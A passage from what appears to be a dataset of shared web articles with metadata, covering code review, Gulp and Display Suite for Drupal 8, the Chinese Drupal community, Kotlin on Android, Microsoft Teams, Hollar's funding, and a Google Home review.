what it is supposed to . The trouble is that our eyes tend to fixate on those sort of things, and they cause unnecessary cognitive load . Pre-commit hooks can help to catch coding standards violations so that reviewers don't need to waste their time commenting on them. If you're on a big project, it will almost certainly be worth investing some time in integrating your CI server and your code review tool, and automating checks for issues like code style , unit tests, mess detection - in short, all the things that a computer is better at spotting than humans are. Does the code actually solve the problem you want it to? Rather than just looking at the code, spend a couple of minutes reading the ticket that it is associated with - has the developer understood the requirements properly? Have they approached the issue appropriately? If you're not sure about the change, check out the branch locally and test it in your development environment. Even if there's nothing wrong with the suggested change, maybe there's a better way of doing it. The whole point of code review is to share the benefit of the team's various experiences, get extra eyes on the problem, and hopefully make the end product better. I hope that this has been useful for you, and if there's anything you think I've missed, please let me know via the comments.",en
1478177852,CONTENT SHARED,-498795758651788662,3891637997717104548,-5518716332871437149,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.zivtech.com/blog/use-gulp-drupal-8-teams-part-1-gulp-setup?utm_source=The+Weekly+Drop&utm_medium=email&utm_campaign=The_Weekly_Drop_Issue_264_11_03_2016,"Use Gulp for Drupal 8 with Teams, Part 1: Gulp Setup","Gulp is a mainstay of front-end development nowadays. Of course, like all front-end development tools, there is a massive proliferation of build systems, from Webpack to SystemJS and Grunt to Gulp. Yet, we at Zivtech find ourselves using mostly Gulp, particularly when dealing with Drupal 8 projects. This article is the first of a series of posts where I outline how Zivtech uses Gulp. In this first part, I'll talk about our reasoning and setup process. Why does Zivtech use Gulp for Drupal 8? The choice of Gulp over other front end tools is due to how Drupal utilizes front-end assets. It's perfectly fine to use something like Webpack or Browserify with Drupal, but those all-encompassing, ""build and combine all the things!"" systems are best used for projects that don't have a built-in asset pipeline. For example, Drupal concatenates and minifies CSS and JS for us, and it's really just over-compiling (is that a word?) to use something that Drupal obviates. Also, we use Gulp over Grunt or even Broccoli (because yes, that's a thing too) strictly because Zivtech does a lot of node.js development as well. The concept of streams and buffers in Gulp are used throughout node.js, and it makes sense that we'd align with our other development. Many projects and distributed teams As a client services company, Zivtech has many projects and several teams working on projects. Thus, our building tasks have to be somewhat abstract so as to apply to most situations. So the first step to conquering the Gulp pipeline is figuring out a way to make the tasks themselves static, but let the configuration remain changeable. Some examples of these changeable settings include: the website address that Browsersync should proxy when watching your development. It's possible that this website address could change on a per-user basis too. Also, the website name would change on a per-site basis too. Within each project, we could just alter the Gulp tasks directly to account for these differences. Yet some people on the team may not be too familiar with Gulp and you might be sending them into the weeds trying to suss out ""that one weird setting"" they should change. At this point you might be thinking we should make a settings file for each project's Gulp tasks, and you'd be correct if so! The Gulp tasks remain the same, but the settings always change. As it turns out, Drupal 8 has a preferred method for settings files: the YAML format. Being a flexible guy, I vote for just sticking with what the system wants. Thus, our new settings files will be written in YAML. Using YAML for Gulp settings First, let's think about how we're going to implement settings from a big picture perspective. We've already determined that we'll work in YAML and we'll have a default group of configuration settings available. We also want each member of the team to be able to override some settings to fit their situations. It makes sense that we'll have a file called default.gulpfile.yml for the default settings. Gulp should merge another file, we'll call it gulpfile.yml , on top of the default. The default settings get tracked in Git or your chosen version control system, but the other one should not. This allows for complete flexibility of any setting you or one of your teammates might want. In default.gulpfile.yml , start off by creating some basic settings: themeName: ""myTheme"" themeDescription: ""myTheme description"" Next, create a gulpfile.yml to contain your customized settings: themeName: ""myRenamedTheme"" When Gulp runs, the themeDescription setting should match default, but the themeName setting should be overridden. Finally, in your gulpfile.js : (function () { 'use strict'; var gulp = require('gulp'); var yaml = require('js-yaml'); var fs = require('fs'); var assign = require('lodash.assign'); // read default config settings var config = yaml.safeLoad(fs.readFileSync('default.gulpfile.yml', 'utf8'), {json: true}); try { // override default config settings var customConfig = yaml.safeLoad(fs.readFileSync('gulpfile.yml', 'utf8'), {json: true}); config = assign(config, customConfig); } catch (e) { console.log('No custom config found! Proceeding with default config only.'); } })(); Now, when you run any Gulp task, your config files will get merged by lodash. One day, Object.assign will be more widely available, and lodash won't be needed any longer. For now, things work fine this way. You'll notice that loading the custom config is in a try ... catch block. We do that so there are no show-stopping errors if the custom config is not found. Additionally, if it's not found we can let the user know that only default settings are in use. Wrapping up Well, this has been a high-level explanation of how and why we use Gulp at Zivtech for D8 projects. In the coming articles in this series, I'll expand on the simple gulpfile.js and default.gulpfile.yml files started. I plan to outline our process for linting and compiling CSS, linting and compiling JavaScript, and a couple extra tasks too, like integrating Bower and favicon generation. Until then!",en
1478177917,CONTENT SHARED,8628621643938810986,3891637997717104548,-5518716332871437149,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.webwash.net/using-display-suite-drupal-8-how-to-customize-content-pages/,Using Display Suite in Drupal 8: How to Customize Content Pages - WebWash,"You've just installed a fresh Drupal 8 website, created a few content types and attached fields to them. So far so good. Now you want to customize the content pages. On the ""Manage display"" page you can re-order fields and disable them but you can't move them into any type of region. Display Suite enhances the ""Manage display"" page by offering a drag-and-drop interface for fields. You can select different layouts and each layout has its own set of regions. The drag-and-drop interface then is used to move fields into these regions, all without writing a single line of code. The real benefit in using Display Suite is you always have a standard workflow for modifying content pages. If you're working in a team, this is even more important; you want to standardize how entity types are customized. Or you'll end up in a situation where each developer does things their own way. In this tutorial, you'll learn how to modify the Article content type layout using Display Suite. Getting Started Before we begin, download the following modules: Display Suite and Layout plugin . Then just install the Display Suite module. Below are the Drush and Drupal Console commands to download and install: Drush: Drupal Console: Modify ""Full content"" View Mode To modify the Article content type, go to Structure and click on the ""Display Suite"" link. From this page, you can jump directly to the ""Manage display"" page for specific entity types and you can modify other Display Suite settings. Now, click on ""Manage display"" on the Article row. Access ""Manage display"" from Content Types Page You can also access the ""Manage display"" page by going to Structure, ""Content types"" and click on the down arrow then ""Manage display"". Both links send you to the same page so it doesn't matter which is clicked on. Enable ""Full content"" View Mode Scroll down and click on the ""Custom display settings"" vertical tab, select ""Full content"" and click on Save. This will enable the ""Full content"" view mode which is used when viewing the article on its own page. Now at the top you should see a ""Full content"" tab, click on it. What's with the Default view mode? I personally avoid the Default view mode if possible, it's used as a fallback. If Drupal displays an entity with a disabled view mode it'll fallback to the default one. So just remember, if you want to customize how an article looks on its own page, then enable and use the ""Full content"" and leave the Default view mode as simple as possible. Select Layout To enable Display Suite on a view mode, scroll down to the vertical tabs and select a layout from the drop-down. Select ""Two column stacked layout"" and click on Save. You should now be able to move fields into different regions. Go ahead and add the fields into the following regions: Move Body into Left Move Image, Tags and Links into Right Move Comments into Footer Don't forget to click on Save. At this point, you've successfully modified the Article content type using Display Suite. Enabling Display Suite on a view mode is straightforward. Just select a layout on a specific view mode and that's it. Test Layout Now that everything has been configured, go and create a test article, it should look like the image below: Override Layout Template So far you've learnt how to setup Display Suite on the Article content type. We've setup the ""Full content"" view mode to use the ""Two column stacked"" layout which comes with the module. What if you want to modify the layout? Luckily, the layout is a template and it can be overridden like any other. The layout template location and template suggestions can be found on the ""Manage display"" page. In the image above, you can see that the ds-2col-stacked layout is in ""modules/contrib/ds/templates"". The filename should be ds-2col-stacked.html.twig . Simply copy the template into your theme and adjust the filename based off the template suggestions, then rebuild the cache. Now you're ready to modify the template whichever way you want. Change Wrapper HTML Tags in Layout Before you start overriding templates, if all you want to do is change which HTML tag is used for a region then take note of this option. From the ""Custom wrappers"" vertical tab, you can change the wrapper HTML tag on regions and the layout. So if you were to select Footer from the ""Wrapper for Footer"" drop-down. The Footer will be wrapped with a <footer> tag instead of <div> . From this: To this: Add Custom Classes to Regions Changing the wrapper is useful but you can also add custom classes to regions. This will help designers apply specific styles to certain regions. If you click on the ""Custom classes"" vertical tab, on the ""Manage display"" page, you'll see the message ""You have not defined any CSS classes which can be used on regions."" Click on the ""Manage region and field CSS classes"" link and enter in the following into ""CSS classes for regions"". Once you click on ""Save configuration"", you should be redirected back to ""Manage display"". Now in ""Custom classes"" you should see the following, here you can choose multiple classes for any of the regions. All selected classes will appear on the wrapping element. Summary I really see Display Suite as a must have module. You can do a lot with it just by using its interface. But if that's not enough, you can override layout templates and even implement custom layouts. FAQ Q: I can't see the ""Custom wrappers"" or ""Custom classes"" vertical tabs? The vertical tabs will only appear once a layout has been selected. Q: I need to rebuild cache when I change anything in a Twig template. Twig templates are heavily cached. Even the rendered results of a template is cached. You'll need to turn on Twig debug to stop it from caching (learn how to turn on Twig debugging ). But make sure you turn off debugging before going live.",en
1478178582,CONTENT SHARED,6034099213718885791,3891637997717104548,-5518716332871437149,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://dev.acquia.com/blog/evaluating-the-chinese-developer-community/27/10/2016/17081,Evaluating the Chinese Developer Community,"In the previous articles in this series , we've talked a lot about the technical solution to the challenges that deploying websites to China brings with it. What's not been discussed so far is quite possibly even more important: the people aspect. After 6 years of working in the CMS world, it's become increasingly evident to me that technology choices are based on three components: The CMS technology: its ease of use, and the appeal of both the technology and the community to large organizations The number of organizations utilizing the technology, their public endorsement, and the stories they tell The people who develop, build, use, teach, advocate for, and sell that technology These three components allow for more comfort within the enterprise -- around the functional aspects of the solution available, the vast supply of development capability existing, and the support structures around the solution to ensure the customer never fails. From a grassroots level, everything begins with the developers. Before a CMS starts to be adopted by enterprises within a country, there is an ever growing pool of developers in the community, working on improving the overall product. Within the Drupal community, it is these developers who start the in-country communities and mentor other developers. By further expanding Drupal's reach in this manner, it has become one of the largest collaborative communities in the world. Some quick research indicates that Drupal currently has more than 100,000 developers and more than a million ""members"" on Drupal.org. By comparison Linux has 11,8000 developers; Apache has 4,909; AngularJS, 1575, React, 604. (Here are my sources .) In China, we're still growing the community and the enterprise's awareness. This is evident from both the quantity of contributory developers as well as the number of well known brands using Drupal such as GeForce , Tesla , and Fendi . These brands however are still predominantly from overseas where Drupal adoption is higher rather than in China. Within China, the registered developer community is approaching 500, with 443 currently registered as part of the groups.drupal.org group . Another measure of Drupal's reach: at least thirteen development agencies are currently providing Drupal services into China. Unfortunately, without large scale commercial backing, it's unlikely that solo developers would ever manage to sell the idea of a new technology into an enterprise. Taking the Red Hat or Canonical example, the adoption of any open source software is difficult without an organization backing the growth and support of that software. Indeed, someone always needs to be held accountable and it is in this way that a symbiosis between open-source software and the companies that support it exists. Neither would exist without the other: the product being the genesis of the company and the company being the safety net around the product. From my experience within the Asia Pacific, a burgeoning territory, focus and enablement must be directed at three important tenets to empower developers: Language, Communication, and Culture. Language The primary difficulty within any global community is the language barrier. Even though Drupal is the most multilingual CMS system available for use, global communities still consist of people and the individual languages they speak. Due to its heritage in the multilingual melting pot of mainland Europe, Drupal can be translated easily into any language in existence. Indeed, Drupal 8 has been translated into 114 languages so far, which enables its usability in a global context. A gap does exist however, in the documentation required to both build and manage Drupal. It is this documentation that is critically required in lieu of hands-on tuition. Within China, a large proportion of developers have no working affinity with English. Indeed, there's a cited value of only 0.8% of the population able to speak English. This leads to a lack of use of English documentation and a general eschewing of the predominantly English speaking community. Since drupal.org and its subdomains aren't multilingual just yet, the Chinese Drupal community has fractured into three separate community sites with each site vying for control of the community: The discussion here takes a first step at consolidating these three sites into one, but ideally, all users should be directed back to groups.drupal.org. This however, is contingent on those sites being made fully multilingual. Communication On top of the inevitable language barrier, how does the Chinese speaking community communicate when the typical user does not use the CMS's main communication platform, drupal.org? A large proportion of the community use WeChat , China's all in one platform for chat, social, bill payments, online stores, and business/city services. While in Shanghai for Drupalcamp China 2016, I was invited to the WeChat chat room specifically for the event. It was in here that session times were communicated, news announced, and feedback requested. The use of a modern chat app everyone was familiar with meant it felt more inclusive to anyone involved in the camp: developers, project managers, newbies, and tech-experts alike. Its ability to automatically translate messages allowed all attendees to be part of the conversation regardless of their native tongue. A WeChat window Large factions of the Chinese community, individual events and even digital agencies have WeChat chatrooms dedicated for their use. By far and away a more popular communication system than the Internet Relay Chat (IRC) used by the rest of the Drupal community, WeChat has over 1.1B accounts and over 570M daily active users . The Freenode IRC network that powers Drupal's chats commands only 90k users in comparison. An IRC window This is one place I think the Chinese community has it right. The learning curve to use IRC is unfriendly and most users in the Drupal channel do not use IRC for any other purpose, making it another unnecessary chat client. The advantage of WeChat here is that it's ingrained in most people's daily lives in China. In the same way that WhatsApp or Facebook Messenger is used daily by users outside China. Perhaps it's time the Drupal community makes itself more accessible by moving to an alternate method of worldwide communication that doesn't rely on ancient technology that only a niche subset of people use. Communication tools shouldn't be a barrier, rather they should assist in the growth of the community, and everyone in the community should eventually find their way back to drupal.org and groups.drupal.org. Culture Part of what's changing currently in China, but still leaves room for improvement, is the culture of sharing and mentoring inherent in a true open-source community. While there are a number of standouts representing China on the world stage, many of the community remain isolated within the China bubble. Parallel groups, discussion fora and real time chat networks exist solely for the Chinese group. From speaking with developers and architects in the Chinese community, I've learned of some of the cultural values preventing more openness and sharing with the wider global community. With a degree of pride at stake, exposing code of any kind comes with a layer of risk -- bad code has the potential to be laughed at rather than constructively criticised, good code can be scrutinised until flaws are found. Similarly, assistance from developers outside of China isn't always welcome. Cultural issues also affect businesses evaluating the use of Drupal. Sponsoring the development of modules and functionality isn't a common practice, with the exchange of money for goods and services being more important than a donation of time or code, regardless of the fact that Drupal was first obtained by all for zero dollars. A commonly held view is that a 100% Chinese base distribution would be advantageous to developers and businesses across the country. Much like the Demo Framework provides, a China Framework may start to instill a sense of collaboration and at the same time provide accolades for the initial developers. Bearing these points in mind, my next blog post will focus on how both open-source and Drupal communities can be cultivated in China. The sources I consulted to come up with my estimates of the sizes of open source software communities",en
1478180912,CONTENT SHARED,5524888769622800245,7645894863578715801,2162520827185279808,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/uptech-team/how-kotlin-became-our-primary-language-for-android-3af7fd6a994c,How Kotlin became our primary language for Android - UPTech Team,"Keeping the Kotlin reference open, we started to develop the Voter application. Kotlin is a JVM language with 100% Java interoperability, and if you're familiar with Java, learning Kotlin is easy. However, if you want to fully take advantage of the language, understanding functional programming concepts is essential. Learning Functional Programming takes a while. So be patient. And Functional Programming is not easy. At least in the beginning. Until it becomes fun. I strongly advise to take a set of courses by Martin Ordersky ""Functional Programming in Scala"" . Scala can be overwhelming at times, but it gives a great overview of the new functional programming mindset. You can treat Kotlin as a simpler version of Scala. What made us turn to the Kotlin side Functional programming style Kotlin is 100% interoperable with Java. Also, Kotlin is a functional language. And the latter allows writing more elegant, expressive code. The concept of a pure function(a function that does not have side effects) is the most important functional concept which allowed us to greatly reduce code complexity and get rid of most mutable states. In Imperative Programming Languages such as Javascript, Java, and C#, Side Effects are everywhere. This makes debugging very difficult because a variable can be changed anywhere in your program. So when you have a bug because a variable is changed to the wrong value at the wrong time, where do you look? Everywhere? That's not good. Note that how we manipulate data without changing its content. 2. Higher-order functions Higher-order Functions either take functions as parameters, return functions or both. Higher-order functions are everywhere. You just pass functions to collections to make code easy to read. titles.map { it.toUpperCase()} reads like plain English. Isn't it wonderful? Let's imagine a situation where we want to count the number of unread messages of different types. A typical approach would be: As you can see, as new requirements are introduced, the code becomes unreadable and unmanageable. Let's see how we can solve this problem with higher-order functions: And we can imagine use cases where we would want to parametrize the fold function argument, let's say, for calculating the product of unread messages. Another example of using higher-order functions is replacing numerous Listeners with simple higher-order function: 3. Immutability Immutability makes it easier to write, use and reason about the code (class invariant is established once and then unchanged). The internal state of your app components will be more consistent. Kotlin enforces immutability by introducing val keyword as well as Kotlin collections, which are immutable by default. Once the val or a collection is initialized, you can be sure about its validity. Null-safety This language feature made us think carefully about nullability of fields in our model classes. Previously, you were not sure whether field in DTO is initialized or not, @Nullable and @NotNull annotations helped, but not as much. Now, with Kotlin, you precisely know what field can be null, what field is are initialized later (e.g. fields injected by Dagger) and you get strict control over those fields. Result? Almost no NullPointerExceptions . (Internally we call ?. a "" goose "" operator, because it looks like a goose's neck) Anko Anko DSL is a great library which significantly simplifies working with views, threads, and android lifecycle. The Github description states that Anko is ""Pleasant Android application development"" and it truly proved to be so. Note that when uiThread is called inside Activity, the block will not execute if isFinishing is true . We do not actually use this feature, as RxJava handles all the threading in our apps, but it is a nice feature. Using Anko instead of XML . Although Anko is not ready to replace standard Android UI building, sometimes it is very handy. As you can see, Anko DSL allows you to use custom views alongside Android built-in views. This is where it has a great advantage over standard XML. Kotlin Android extensions: Removing ButterKnife dependency Bored yet? I bet you scrolled that without reading. In Kotlin, you don't need any of those. You can just reference your view property by its @id XML parameter, those properties would have the same name as declared in your XML file. More info can be found in official docs . Other neat features apply , let , and extension functions can be easily used to create elegant builders. 2. A quick hack for beginners During the first couple of days, you often stumble upon a problem: you don't know how to write a rather simple Java expression in Kotlin. A simple trick is to write a piece of code in Java and then paste it into a Kotlin file. Thanks to guys in JetBrains, it gets automatically converted to Kotlin. Hacky, but works like a charm! 3. Getting rid of unnecessary dependencies Kotlin replaces a lot of third-party libraries, such as ButterKnife, Google Autovalue, Retrolambda, Lombok and some of the RxJava code. Summary As a software development team, the main challenge we have is delivering great products and being effective at getting the job done. Although to start developing effectively in Kotlin you need some prerequisite knowledge of functional programming, investing time to learn it really pays off. I believe Kotlin is a major improvement over conventional Android development, which allows us to deliver great apps on time, and with MUCH fewer bugs. And what is your experience with Kotlin? Share your thoughts / comments below! Programming is the most fun you can have with your clothes on. John Guttag References Kotlin Reference So You Want to be a Functional Programmer Why Functional Programming Matters 6 Benefits of Programming with Immutable Objects in Java Anko DSL vs Android XML-First Lessons from converting an app to 100% Kotlin Result: Voter Application . 99.8% crash-free users.",en
1478181100,CONTENT SHARED,-790959521412948853,-1578287561410088674,-8549049404053740422,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) SmartCanvas/0.1.0 Chrome/49.0.2623.75 Electron/0.37.2 Safari/537.36",SP,BR,HTML,https://macmagazine.com.br/2016/11/03/microsoft-lanca-teams-nova-plataforma-de-chat-concorrente-do-slack/,"Microsoft lança Teams, nova plataforma de chat concorrente do Slack | MacMagazine.com.br","A Microsoft tem investido cada vez mais em ferramentas para o ambiente corporativo. A novidade desta vez é o mais novo serviço de chat para interação em grupos, o Microsoft Teams . Sendo um competidor direto de serviços como o Slack e o HipChat , o Microsoft Teams é mais uma maneira de manter o trabalho de equipes em um só lugar, para não haver preocupação de perderem-se em uma montanha de aplicativos e serviços diversos. Com certeza, o trunfo de ferramentas como essas é a integração com serviços de terceiros ou da própria empresa, e o Teams parece fazer isso muito bem. Além de, é claro, funcionar com o pacote Office e Skype, sua API aberta possibilita que outros serviços de terceiros possam ser integrados a ele, como o Zendesk, Asana, Twitter, GitHub, etc. Outros recursos também funcionam normalmente com o app, como bots , emojis, stickers , GIFs, extensões e mais. O Microsoft Teams é multiplataforma e está disponível para Mac, Windows, iOS, Android e também para a web. Entretanto, ele faz parte do pacote de assinatura do Office 365, ou seja, é uma ferramenta paga. Por este motivo, talvez seja difícil mensurar o quanto as pessoas vão aderir ao aplicativo; mesmo assim, o potencial dele é grande e pode até significar uma ameaça aos serviços competidores. O que não quer dizer que eles vão se render facilmente; muito pelo contrário: o Slack inclusive já publicou uma carta aberta no New York Times para dar as boas-vindas à Microsoft, bem no estilo Apple em 1981: That feeling when you think ""we should buy a full page in the Times and publish an open letter,"" and then you do. �� pic.twitter.com/BQiEawRA6d - Stewart Butterfield (@stewart) 2 de novembro de 2016 Aquele momento em que você pensa ""nós deveríamos comprar uma página inteira no Times e publicar uma carta aberta"", e aí você faz isso. �� Com ""alguns conselhos de amigo"", o Slack lembra à Microsoft que ""o que mais importa não são os recursos"", que ""uma plataforma aberta é essencial"", que ""é preciso fazer isso com amor"" e, por fim, que ""o Slack está aqui para ficar"". Por último: Slack está aqui para ficar. Nós vamos aonde o trabalho acontece por milhões de pessoas ao redor do mundo. Então, bem-vinda, Microsoft, à revolução. Estamos felizes por você estar nos ajudando a definir essa nova categoria de produtos. Nós admiramos muitas de suas realizações e sabemos que você será um concorrente digno. Temos certeza de que você vai apresentar algumas novas idéias por conta própria também. E nós estaremos bem ali, prontos. A carta - que pode ser lida por completo em inglês aqui - muito se assemelha à que a Apple publicou no Wall Street Journal direcionada à IBM quando - na década de 1980 - esta decidiu entrar no ramo de computadores pessoais. As palavras não são exatamente as mesmas, mas a intenção com certeza foi. O Microsoft Teams está disponível para testes em 170 países e 18 idiomas, para os clientes do pacote Office 365 dos planos Enterprise ou Business . Seu lançamento oficial será no primeiro trimestre de 2017. Microsoft Teams de Microsoft Corporation [via MacRumors ] Se houver algum erro no post acima, selecione-o e pressione Shift + Enter ou clique aqui para nos notificar. Obrigado! chat colaboração conversa equipes HipChat Integração Microsoft Microsoft Teams Office 365 produtividade skype Slack times Sobre o Autor Aviso: nossos editores/colunistas estão expressando suas opiniões sobre o tema proposto e esperamos que as conversas nos comentários sejam respeitosas e construtivas. O espaço acima é destinado a discussões, debates sobre o tema e críticas de ideias, não às pessoas por trás delas. Ataques pessoais não serão tolerados de maneira nenhuma e nos damos ao direito de ocultar/excluir qualquer comentário ofensivo, difamatório, preconceituoso, calunioso ou de alguma forma prejudicial a terceiros, assim como textos de caráter promocional e comentários anônimos (sem nome completo e/ou email válido). Em caso de insistência, o usuário poderá ser banido.",pt
1478181570,CONTENT SHARED,-6510151088126868601,-1032019229384696495,1438372154996165826,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.28 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/11/03/hollar-snags-another-30-million-for-its-fast-growing-dollar-store-app/,Hollar snags another $30 million for its fast-growing dollar store app,"Hollar , a startup offering dollar store-like finds in the form of a mobile app , has raised another $30 million to continue to grow its business. The new Series B round of funding was led by Kleiner Perkins Caufield & Byers, and included participation by Comcast Ventures and Greycroft Partners, as well existing investors Lightspeed Venture Partners, Index Ventures, Forerunner Ventures, and Pritzker Group. As a part of the deal, Eric Feng, General Partner at KPCB, will join Hollar's board. To date, Hollar has raised $47.5 million, following its prior $12 million Series A and $5.5 million seed rounds, which were closed only four months apart. The company is tackling an interesting space - the super low price points where the majority of its merchandise has been around the $2 mark. During the first 10 months of its business, nothing was more than $5, but it's now expanding into the $10 space for the holidays, which will allow it to sell more higher-quality toys and gifts. Hollar, by way of background, was originally the brainchild of The Honest Company's CEO Brian Lee, who helped co-founder and CEO David Yeom, a former VP at Honest, get the business off the ground. Lee now serves as a board member, but isn't involved day-to-day. Says Yeom, people dismissed the idea that an online dollar store could be successful. ""When we were launching this business, people said there's no way you can make money selling a $2 item!,"" he laughs. But what the naysayers didn't understand is how dollar store shoppers tend to buy - you don't go into the store and buy a single $1 item. You load up your basket with dozens of the store's cheaply priced products. Similarly, Hollar's shoppers do the same. In fact, Yeom says that Hollar's shoppers spend more than double the typical basket size at brick-and-mortar dollar stores, as its average basket size is around $30 to their $15. That means Hollar customers are buying around 10 items per order. This is what led the shop to achieve over $1 million in sales in under six months, and see double-digit growth every month since. This increased basket size, however, is in part due the fact that Hollar requires a $10 minimum purchase in order to check out, and free shipping only kicks in on orders over $25. The company claims to have over 1 million registered users across web and mobile, but according to recent stats from app intelligence firm Sensor Tower, the iOS app in the U.S. has seen just 192,000 downloads to date. That said, the app is also available on Android, in addition to its online store. However, what's interesting is that Hollar claims half its customers are arriving via non-paid channels. This figure - indicating high word-of-mouth organic growth - seems high. But anecdotally, I've seen it myself. When I've told friends to download Hollar, the first thing they do is load up their basket with some $20+ worth of goods. The Hollar store itself has been growing, along with its sales, the majority of which come from mobile. Today, there are now over 10,000 live SKUs on its site and, by next month, around 300 of those will be Hollar's own private label products . These include a number of home and kitchen items, electronics and accessories, and even, soon, a Hollar-branded VR viewer that works with your smartphone. While Yeom won't speak to the margins on Hollar's private label items, he says they're ""substantially"" higher than those from its vendors. But there is one way where Hollar isn't mirroring its retail dollar store rivals: grocery items. ""That's an area we're not investing too much in - we want to stay true to the light and fun aspect,"" says Yeom. Private labels and careful product consideration aren't the only ways Hollar is planning to grow its business. The other is the launch of a seller marketplace in the first quarter of 2017. Like Amazon and eBay, this will allow for direct sales from sellers to Hollar's customers. ""If you truly want to scale, I think this is really the right approach,"" says Yeom. ""With any e-commerce business, inventory is a slippery slope. You have to be very mindful of it. This is definitely one way we can offer a greater depth and breadth of products."" He notes that Hollar's sellers will be vetted with a white glove approach, to keep quality high. ""We're going to be very meticulous, very judicious about who sells...we want to make sure the experience is first and foremost,"" Yeom explains. A seller rating and review system will arrive next year as well, to allow for consumer feedback. Hollar, currently a team of over 115, also plans to increase its headcount as it moves its warehouse and corporate office from their prior separate locations into, ironically, the former 99 Cents Only Stores facility, a over 180,000 sq ft facility. It will explore an East Coast-based warehouse in the future.",en
1478186841,CONTENT SHARED,4422997595777504091,-8845298781299428018,-987673086721610036,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/11/03/google-home-review/,Google Home brings Google's smarts to your living room,"Google Home is an interesting product to review. In a way, it's just an internet-connected microphone and speaker array that draws all of its smarts from the cloud. On the other hand, it's maybe the purest reflection of Google's ambitions in both the artificial intelligence and home automation space. As far as the AI experience goes, Home delivers - but that's no surprise, given that Google already has long had a lead over competitors like Apple's Siri, Amazon's Alexa and Microsoft's Cortana. Because its intelligence is in the cloud, it will also only get smarter over time (which makes these devices rather future-proof if you're thinking about them as an investment). When you're reviewing Google Home then, you're really looking at three things: the microphone, the speaker and the Google Assistant. We've already written quite a bit about the Google Assistant , which is at the core of the Home experience. Needless to say, it's probably the smartest of the personal assistants right now. You can still stump it with questions it can't answer, but it usually handles those with grace and at least tries to read you an excerpt from a web page. Often, I'm surprised it does have an answer (""How many days till election day?"" ""Can you give me a recipe for beef bourguignon?""); sometimes I'm surprised it doesn't. The issue with devices like the Amazon Echo and Google Home is that they do still occasionally misunderstand you. For the most part, that's not a big deal. Google Home, though, seemed to understand me better than my Echo Dot. As far as Home's other core features go (microphone and speaker), there's a lot of good news here, too. A lot of people were concerned about the fact that Google Home only features two microphones (compared to the Amazon Echo's eight). Whatever black magic Google worked with them, those two seem to work just as well as Amazon's eight - maybe even a tiny bit better. Placing the Home next to my Echo Dot, both easily work from across my living room. When calling them from the next room over, ""OK, Google"" generally worked a bit better than ""Alexa."" One other positive thing I noticed with Home is that it does a nice job of recognizing my ""OK, Google"" command when it's playing music or the news. It immediately turns down the music to a whisper and listens to your questions. I'm no audiophile by any means, but Google's bottom-mounted speakers sounded as good as one can expect from this size. I didn't notice any major distortion at the highest volumes, and, while you won't get earth-shaking bass from Home, it still delivers a nice punch. If you need more, then hooking up an Echo Dot to your existing audio system is probably the way to go if music is the most important feature for you in one of these devices. At least right now, Home doesn't have as many partners in its ecosystem as Alexa. Personally, that hasn't been a problem for me. If you have Philips Hue lights, then those should work right out of the box. Same with Samsung SmartThings devices and your Nest thermostat. My home is pretty dumb, so except for the Chromecast integration, I haven't been able to try this yet. Thanks to its IFTTT integration, you'll likely still be able to control devices that aren't currently on Google's partner list. Currently, Home only supports Google Keep for shopping lists and notes, though I would love to see it integrate with some of the tools I use already instead of having to switch to something else. The good news here, though, is that the existing integrations work perfectly fine. As for music, it works with Google Play Music, YouTube Music, Spotify and Pandora. You can set the default to any of those four and if you need to play a specific song, radio station or playlist from another service, you can always ask for it by name. It works as advertised. Home also integrates with TuneIn, so you can still listen to good-old radio, too. The other form of audio content you'll likely listen to on the Home is news. There, Google lets you pick and choose from a variety of sources that range from NPR to Newsy, Fox News, ABC News, Bloomberg Tech, ESPN and others. One statistic you'll hear quite a bit is that Alexa currently lets developers write ""skills"" for its platform. There are thousands of them. Google Home isn't yet open for developers, but in daily use, that didn't strike me as a major issue. Currently, the only real third-party ""skill"" featured on the Home is an Uber integration. By default, the Google Assistant is already more capable than Alexa when it comes to day-to-day tasks like asking for translations or random information. With Home, you don't need to install a new skill to get translations or restaurant recommendations (and let's face it, most of the Alexa skills aren't very good right now - which may be because of the simple fact that developers can't charge for them). The hardware itself has been compared to many things (air fresheners come to mind). I actually like the design, and if you don't like the plain white base, you can always switch it out for something more colorful. The unit itself only has a power port. That's it. There's no Ethernet port and no way to get audio out of it, either. The design is meant to let the Home blend into virtually any room and still look modern. In that, it succeeds. The ring of LEDs at the top allows you to see when the device is listening to you (there's a mute button on the back if you want to completely shut down the microphone) and working on your answers. The top is touch-sensitive, and allows you to set your volume. At the end of the day, you currently have two choices when you are looking for a voice-activated, AI-driven speaker in your living room: Google Home or one of Amazon's Echo devices. If I had to choose today, I'd pick a Google Home. At $129, it's cheaper than the Echo, it's smarter out of the box and, while it may have fewer partners in its ecosystem, it works together with your Chromecast device, which extends its functionality to your TV.",en
